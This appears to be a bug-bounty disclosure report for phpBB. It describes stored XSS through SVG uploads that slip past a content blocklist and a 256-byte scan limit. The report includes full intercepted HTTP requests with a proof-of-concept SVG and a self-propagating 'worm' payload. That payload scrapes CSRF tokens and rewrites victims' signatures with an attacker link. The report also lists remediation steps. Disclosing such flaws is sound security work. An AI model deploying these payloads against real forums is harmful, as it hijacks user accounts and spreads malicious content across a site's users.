phpBB · Report #3606773
Stored XSS via SVG Upload — check_content() Blocklist Bypass & 256-Byte Scan Limit (Self-Propagating Worm)
How it was found
Title
Stored XSS via SVG Upload — check_content() Blocklist Bypass & 256-Byte Scan Limit (Self-Propagating Worm)
Description
Tested Version: phpBB 4.0.0-a2-dev (Docker, latest master branch as of March 2026)
phpBB implements a content-scanning check (phpbb\files\filespec_storage::check_content()) to prevent upload of malicious files. Two critical, independently exploitable flaws exist:
Flaw 1 — Incomplete Blocklist (phpbb/files/upload.php, line 29):
The $disallowed_content array does not include SVG-specific XSS vectors:
protected $disallowed_content = array('body', 'head', 'html', 'img', 'plaintext', 'a href', 'pre', 'script', 'table', 'title');
Tags such as <svg onload=""> and <animate onbegin=""> are absent, so a valid SVG with an onload event passes the check and is stored on disk.
Flaw 2 — 256-Byte Read Limit (phpbb/files/filespec_storage.php, line 364):
$ie_mime_relevant = fread($fp, 256); // Only first 256 bytes are scanned
Padding any payload (including explicitly blocked tags like <script>) beyond the 256-byte boundary completely bypasses validation.
Delivery Vector — Inline SVG Serving (phpbb/storage/controller/attachment.php):
Uploaded SVG files are served with Content-Disposition: inline and Content-Type: image/svg+xml, causing the browser to render and execute embedded JavaScript when the attachment link is clicked.
Non-Default Configuration Note:
.svg is not in phpBB's default allowed extensions list. An administrator must explicitly permit it. Additionally, SVG must be assigned to a non-image extension group (e.g., "Documents") — assigning it to "Images" causes getImageSize() to reject it silently.
Reproduction Steps
Setup (Docker — quickstart for triager)
docker compose up -d
Install phpBB at http://localhost:8080/install, then in ACP → Extensions → Manage: add svg extension, assign to a new group "SVG Files", set "Display Inline" = No.
Part 1: Basic XSS Proof (Burp Suite Bypass)
The client-side plupload restricts .svg uploads in the browser. We bypass it by intercepting the upload request with Burp Suite.
Step-by-step:
- Log in as any registered user.
- Start a New Topic, add the provided
xss_onload.jpg(dummy file) via the Attachments panel. - Enable Burp Suite Intercept and click "Add the file".
- Replace the intercepted request body with the following complete request (substituting your own live
Cookie,form_token, andcreation_timevalues from the original intercepted request):
POST /posting.php?mode=post&f=2 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFFEaAfSerpQAkd4Q
x-phpbb-using-plupload: 1
x-requested-with: XMLHttpRequest
Cookie: ***********************************
Connection: keep-alive
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="name"
dummy.jpg
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="chunk"
0
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="chunks"
1
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="add_file"
Add the file
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="creation_time"
YOUR_CREATION_TIME_HERE
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="form_token"
YOUR_FORM_TOKEN_HERE
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="real_filename"
xss_onload.svg
------WebKitFormBoundaryFFEaAfSerpQAkd4Q
Content-Disposition: form-data; name="fileupload"; filename="xss_onload.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS execution on: ' + document.domain)">
<rect width="200" height="200" fill="#00ff00"/>
<text x="10" y="100" fill="black" font-size="14">SVG XSS PoC</text>
</svg>
------WebKitFormBoundaryFFEaAfSerpQAkd4Q--
- Click Forward and turn Intercept OFF.
- Back in the browser, write any topic title and click Submit.
- View the published post and click the
xss_onload.svgattachment link. - Result:
alert('XSS execution on: localhost:8080')fires in the browser.
Part 2: Weaponized XSS Worm (Self-Propagating)
Uses the same Burp bypass but with the xss-worm.svg payload, which silently mutates the victim's profile using their own authenticated session.
Complete ready-to-paste request (substitute your session values):
POST /posting.php?mode=post&f=2 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF4vyqZURwpTrUxKo
x-phpbb-using-plupload: 1
x-requested-with: XMLHttpRequest
Cookie: ***************************************
Connection: keep-alive
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="name"
dummy.jpg
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="chunk"
0
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="chunks"
1
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="add_file"
Add the file
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="creation_time"
YOUR_CREATION_TIME_HERE
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="form_token"
YOUR_FORM_TOKEN_HERE
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="real_filename"
xss-worm.svg
------WebKitFormBoundaryF4vyqZURwpTrUxKo
Content-Disposition: form-data; name="fileupload"; filename="xss-worm.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- PADDING BYPASS: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
<svg xmlns="http://www.w3.org/2000/svg" onload="init()">
<script><![CDATA[
function init() {
fetch('/ucp.php?i=ucp_profile&mode=signature')
.then(r => r.text())
.then(html => {
let ft = html.match(/name="form_token"\s+value="([^"]+)"/);
let ct = html.match(/name="creation_time"\s+value="([^"]+)"/);
if (ft && ct) {
let d = new URLSearchParams();
d.append('signature', '[url=http://attacker.example.com]Infected by XSS Worm![/url]');
d.append('submit', 'Submit');
d.append('creation_time', ct[1]);
d.append('form_token', ft[1]);
fetch('/ucp.php?i=ucp_profile&mode=signature', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: d.toString()
}).then(() => alert('XSS Worm: Signature hijacked!'));
}
});
}
]]></script>
</svg>
------WebKitFormBoundaryF4vyqZURwpTrUxKo--
Attack flow:
- Upload
xss-worm.svgas attacker user (hacker). - Log in as a different user (
admin) in a separate browser session (incognito). - Navigate to the post and click the
xss-worm.svgattachment link. - Observed result: Alert fires:
"XSS Worm: Signature hijacked!" - Navigate to
UCP → Profile → Edit Signature. - Observed result: Admin's signature now reads
[url=http://attacker.example.com]Infected by XSS Worm![/url]— set silently without any additional interaction.
Part 3: Backend Flaw Proof (No Browser Required)
php poc-svg-xss.php
Output proves check_content() accepts <svg onload>, <animate onbegin>, and bypasses the 256-byte limit for <script> tags.
Attachments
| File | Purpose |
|---|---|
docker-compose.yml | One-command environment setup for triager |
poc-svg-xss.php | Standalone PHP script proving check_content() bypasses |
xss_onload.svg | Minimal SVG payload — blocklist bypass (onload) |
xss-worm.svg | Verified weaponized self-propagating worm payload |
xss_onload.jpg | Dummy JPG file used for Burp Suite bypass (rename trick) |
Remediation
- Remove 256-byte limit: Scan the full file, not just the first 256 bytes.
- Expand blocklist: Add
svg,animate,set,foreignObject,use,onload,onbeginto$disallowed_content. - Force
Content-Disposition: attachmentfor SVG: Never serve SVG files inline — force a download instead of browser rendering.
Impact
**Stored XSS — Self-Propagating Signature Worm **
Honest Limitations:
HttpOnlycookies preventdocument.cookieextraction.- The
cur_passwordfield is required to change account credentials via UCP, preventing blind AJAX-based credential takeover.
Actual Impact :
The XSS fires in the victim's same-origin browser context, allowing the attacker's JS to silently make authenticated requests to any UCP endpoint that does not require cur_password. The Signature endpoint (/ucp.php?i=ucp_profile&mode=signature) is fully writable with CSRF tokens alone.
By changing the victim's Signature, every post they have ever made is instantly updated to embed the attacker's payload link. Any user who views a thread containing the victim's posts is exposed to the payload, which can in turn infect their signature. This creates an exponentially self-propagating XSS worm capable of compromising the entire forum userbase from a single infected post.